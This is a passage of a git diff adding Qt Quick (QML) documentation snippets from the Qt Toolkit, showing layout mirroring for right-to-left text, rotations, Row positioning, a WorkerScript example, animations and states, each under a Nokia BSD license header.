+FocusButton ./focusbutton.qml
+//! [document]
diff --git a/doc/src/snippets/declarative/righttoleft.qml b/doc/src/snippets/declarative/righttoleft.qml
new file mode 100644
index 00000000..5ce0e9fd
--- /dev/null
+++ b/doc/src/snippets/declarative/righttoleft.qml
@@ -0,0 +1,149 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+import "righttoleft"
+
+Column {
+ width: 200
+//![0]
+// automatically aligned to the left
+Text {
+ text: "Phone"
+ width: 200
+}
+
+// automatically aligned to the right
+Text {
+ text: "خامل"
+ width: 200
+}
+
+// aligned to the left
+Text {
+ text: "خامل"
+ horizontalAlignment: Text.AlignLeft
+ width: 200
+}
+
+// aligned to the right
+Text {
+ text: "خامل"
+ horizontalAlignment: Text.AlignLeft
+ LayoutMirroring.enabled: true
+ width: 200
+}
+//![0]
+
+//![1]
+// by default child items are positioned from left to right
+Row {
+ Child {}
+ Child {}
+}
+
+// position child items from right to left
+Row {
+ layoutDirection: Qt.RightToLeft
+ Child {}
+ Child {}
+}
+
+// position child items from left to right
+Row {
+ LayoutMirroring.enabled: true
+ layoutDirection: Qt.RightToLeft
+ Child {}
+ Child {}
+}
+//![1]
+
+//![2]
+Item {
+ height: 50; width: 150
+
+ LayoutMirroring.enabled: true
+ anchors.left: parent.left // anchor left becomes right
+
+ Row {
+ // items flow from left to right (as per default)
+ Child {}
+ Child {}
+ Child {}
+ }
+}
+//![2]
+
+//![3]
+Item {
+ height: 50; width: 150
+
+ LayoutMirroring.enabled: true
+ LayoutMirroring.childrenInherit: true
+ anchors.left: parent.left // anchor left becomes right
+
+ Row {
+ // setting childrenInherit in the parent causes these
+ // items to flow from right to left instead
+ Child {}
+ Child {}
+ Child {}
+ }
+}
+//![3]
+
+//![4]
+Rectangle {
+ color: "black"
+ height: 50; width: 50
+ x: mirror(10)
+ function mirror(value) {
+ return LayoutMirroring.enabled ? (parent.width - width - value) : value;
+ }
+}
+//![4]
+
+//![5]
+Image {
+ source: "arrow.png"
+ mirror: true
+}
+//![5]
+}
diff --git a/doc/src/snippets/declarative/righttoleft/Child.qml b/doc/src/snippets/declarative/righttoleft/Child.qml
new file mode 100644
index 00000000..1c304645
--- /dev/null
+++ b/doc/src/snippets/declarative/righttoleft/Child.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 50; height: 50
+ color: "black"
+ Text {
+ color: "white"
+ text: String.fromCharCode(65 + Math.floor(26*Math.random()))
+ anchors.centerIn: parent
+ }
+}
diff --git a/doc/src/snippets/declarative/rotation.qml b/doc/src/snippets/declarative/rotation.qml
new file mode 100644
index 00000000..1073745d
--- /dev/null
+++ b/doc/src/snippets/declarative/rotation.qml
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [0]
+import QtQuick 1.0
+
+Row {
+ x: 10; y: 10
+ spacing: 10
+
+ Image { source: "pics/qt.png" }
+ Image {
+ source: "pics/qt.png"
+ transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 18 }
+ smooth: true
+ }
+ Image {
+ source: "pics/qt.png"
+ transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 36 }
+ smooth: true
+ }
+ Image {
+ source: "pics/qt.png"
+ transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 54 }
+ smooth: true
+ }
+ Image {
+ source: "pics/qt.png"
+ transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 72 }
+ smooth: true
+ }
+}
+//! [0]
diff --git a/doc/src/snippets/declarative/rotationanimation.qml b/doc/src/snippets/declarative/rotationanimation.qml
new file mode 100644
index 00000000..91aaa8ba
--- /dev/null
+++ b/doc/src/snippets/declarative/rotationanimation.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 300; height: 300
+
+ Rectangle {
+ id: rect
+ width: 150; height: 100; anchors.centerIn: parent
+ color: "red"
+ smooth: true
+
+ states: State {
+ name: "rotated"
+ PropertyChanges { target: rect; rotation: 180 }
+ }
+
+ transitions: Transition {
+ RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+ }
+ }
+
+ MouseArea { anchors.fill: parent; onClicked: rect.state = "rotated" }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/row.qml b/doc/src/snippets/declarative/row.qml
new file mode 100644
index 00000000..148e9745
--- /dev/null
+++ b/doc/src/snippets/declarative/row.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 320; height: 110
+ color: "#c0c0c0"
+
+ Row {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+
+ spacing: 5
+
+ Rectangle { width: 100; height: 100; radius: 20.0
+ color: "#024c1c" }
+ Rectangle { width: 100; height: 100; radius: 20.0
+ color: "#42a51c" }
+ Rectangle { width: 100; height: 100; radius: 20.0
+ color: "white" }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/row/row.qml b/doc/src/snippets/declarative/row/row.qml
new file mode 100644
index 00000000..2a381448
--- /dev/null
+++ b/doc/src/snippets/declarative/row/row.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Row {
+ spacing: 2
+ Rectangle { color: "red"; width: 50; height: 50 }
+ Rectangle { color: "green"; width: 20; height: 50 }
+ Rectangle { color: "blue"; width: 50; height: 20 }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/script.js b/doc/src/snippets/declarative/script.js
new file mode 100644
index 00000000..f55dee35
--- /dev/null
+++ b/doc/src/snippets/declarative/script.js
@@ -0,0 +1,4 @@
+WorkerScript.onMessage = function(message) {
+ // ... long-running operations and calculations are done here
+ WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y })
+}
diff --git a/doc/src/snippets/declarative/sequentialanimation.qml b/doc/src/snippets/declarative/sequentialanimation.qml
new file mode 100644
index 00000000..7fc590eb
--- /dev/null
+++ b/doc/src/snippets/declarative/sequentialanimation.qml
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ SequentialAnimation {
+ running: true
+ NumberAnimation { target: rect; property: "x"; to: 50; duration: 1000 }
+ NumberAnimation { target: rect; property: "y"; to: 50; duration: 1000 }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/smoothedanimation.qml b/doc/src/snippets/declarative/smoothedanimation.qml
new file mode 100644
index 00000000..caeb66fe
--- /dev/null
+++ b/doc/src/snippets/declarative/smoothedanimation.qml
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 800; height: 600
+ color: "blue"
+
+ Rectangle {
+ width: 60; height: 60
+ x: rect1.x - 5; y: rect1.y - 5
+ color: "green"
+
+ Behavior on x { SmoothedAnimation { velocity: 200 } }
+ Behavior on y { SmoothedAnimation { velocity: 200 } }
+ }
+
+ Rectangle {
+ id: rect1
+ width: 50; height: 50
+ color: "red"
+ }
+
+ focus: true
+ Keys.onRightPressed: rect1.x = rect1.x + 100
+ Keys.onLeftPressed: rect1.x = rect1.x - 100
+ Keys.onUpPressed: rect1.y = rect1.y - 100
+ Keys.onDownPressed: rect1.y = rect1.y + 100
+}
+//![0]
diff --git a/doc/src/snippets/declarative/springanimation.qml b/doc/src/snippets/declarative/springanimation.qml
new file mode 100644
index 00000000..703a76b5
--- /dev/null
+++ b/doc/src/snippets/declarative/springanimation.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 300; height: 300
+
+ Rectangle {
+ id: rect
+ width: 50; height: 50
+ color: "red"
+
+ Behavior on x { SpringAnimation { spring: 2; damping: 0.2 } }
+ Behavior on y { SpringAnimation { spring: 2; damping: 0.2 } }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ rect.x = mouse.x - rect.width/2
+ rect.y = mouse.y - rect.height/2
+ }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/state-when.qml b/doc/src/snippets/declarative/state-when.qml
new file mode 100644
index 00000000..c1b9ba2f
--- /dev/null
+++ b/doc/src/snippets/declarative/state-when.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+//![0]
+Rectangle {
+ id: myRect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea { id: mouseArea; anchors.fill: parent }
+
+ states: State {
+ name: "hidden"; when: mouseArea.pressed
+ PropertyChanges { target: myRect; opacity: 0 }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/state.qml b/doc/src/snippets/declarative/state.qml
new file mode 100644
index 00000000..4fff57e0
--- /dev/null
+++ b/doc/src/snippets/declarative/state.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
